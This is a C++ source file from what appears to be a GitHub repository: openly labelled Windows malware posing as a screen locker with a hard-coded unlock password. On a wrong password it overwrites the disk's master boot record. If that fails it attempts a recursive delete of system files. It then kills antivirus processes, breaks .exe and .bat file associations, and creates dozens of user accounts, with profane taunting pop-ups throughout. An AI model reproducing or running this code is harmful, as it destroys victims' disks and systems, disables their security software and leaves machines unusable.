-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.cpp
148 lines (147 loc) · 5.76 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#include <iostream>
#include <windows.h>
/* run this program using the console pauser or add your own getch, system("pause") or input loop */
using namespace std;
int main(void)
{
int a,b,c;
a = 0;
b = 0;
c = 0;
MessageBoxA(NULL,(LPCSTR)"This is a malware. Do you want to run?",(LPCSTR)"winnt32",MB_OK);
MessageBoxA(NULL,(LPCSTR)"这是一个恶意程序,可能导致系统报废,你确定要运行吗?" ,(LPCSTR)"winnt32",MB_OK);
system ("taskkill /f /im explorer.exe");
cout << "Massage:Your Comtuper is Locked" << endl;
cout << "email:123456.com" << endl;
cout << "Please Enter Password to unlock comtuper" << endl;
cout << "Password:" ;
MessageBoxA(NULL,(LPCSTR)"激活你个妈的,恭喜你的电脑中毒了!",(LPCSTR)"GET R3KT",MB_OK);
cin >> a;
if (a == 20111026 )
{
system("Explorer.exe");
cout << "You are a Good joy!" << endl;
}
if (a != 20111026)
{
LPCSTR DiskFileName="\\\\.\\PhysicalDrive0";
char code[]=
"By:bilibili:xiaokang -> By:bilibili:xiaokang -> By:bilibili:xiaokang -> bilibili:xiaokang -> bilibili:xiaokang -> bilibili:xiaokang -> "
"By:bilibili:xiaokang -> By:bilibili:xiaokang -> By:bilibili:xiaokang -> bilibili:xiaokang -> bilibili:xiaokang -> bilibili:xiaokang -> "
"By:bilibili:xiaokang -> By:bilibili:xiaokang -> By:bilibili:xiaokang -> bilibili:xiaokang -> bilibili:xiaokang -> bilibili:xiaokang -> "
"By:bilibili:xiaokang -> By:bilibili:xiaokang -> By:bilibili:xiaokang -> bilibili:xiaokang -> bilibili:xiaokang -> bilibili:xiaokang -> ";
BYTE MBR[512];
DWORD s=NULL,t=NULL;
HANDLE handle=NULL;
memcpy(MBR,code,sizeof(code)-1);
handle=CreateFileA(
DiskFileName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
0,
0);
if(handle==INVALID_HANDLE_VALUE)
{
MessageBoxA(NULL,(LPCSTR)"Fucked your Computer!!!",(LPCSTR)"Error",MB_OK);
system("del /f /s /q $SystemRoot$");
}
else
{
WriteFile(handle,MBR,sizeof(MBR),&t,NULL);
DeviceIoControl(handle,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&s,NULL);
CloseHandle(handle);
}
MessageBoxA(NULL,(LPCSTR)"Password is wrong.Your computer is die!",(LPCSTR)"winnt32",MB_OK);
system("taskkill /f /im 360tray.exe");
system("taskkill /f /im ZhuDongFangYu.exe");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("assoc .exe=txtfile");
system("assoc .bat=txtfile");
system("net user RUN1 AWAY_1 /add");
system("net user RUN2 AWAY_1 /add");
system("net user RUN3 AWAY_1 /add");
system("net user RUN4 AWAY_1 /add");
system("net user RUN5 AWAY_1 /add");
system("net user RUN6 AWAY_1 /add");
system("net user RUN7 AWAY_1 /add");
system("net user RUN8 AWAY_1 /add");
system("net user RUN9 AWAY_1 /add");
system("net user RUN10 AWAY_1 /add");
system("net user RUN11 AWAY_1 /add");
system("net user RUN12 AWAY_1 /add");
system("net user RUN13 AWAY_1 /add");
system("net user RUN14 AWAY_1 /add");
system("net user RUN15 AWAY_1 /add");
system("net user RUN16 AWAY_1 /add");
system("net user RUN17 AWAY_1 /add");
system("net user RUN18 AWAY_1 /add");
system("net user RUN19 AWAY_1 /add");
system("net user RUN20 AWAY_1 /add");
system("net user RUN21 AWAY_1 /add");
system("net user RUN22 AWAY_1 /add");
system("net user RUN23 AWAY_1 /add");
system("net user RUN24 AWAY_1 /add");
system("net user RUN25 AWAY_1 /add");
system("net user RUN26 AWAY_1 /add");
system("net user RUN27 AWAY_1 /add");
system("net user RUN28 AWAY_1 /add");
system("net user RUN29 AWAY_1 /add");
system("net user RUN30 AWAY_1 /add");
system("net user RUN31 AWAY_1 /add");
system("net user RUN32 AWAY_1 /add");
system("net user RUN33 AWAY_1 /add");
system("net user RUN34 AWAY_1 /add");
}
return 0;
}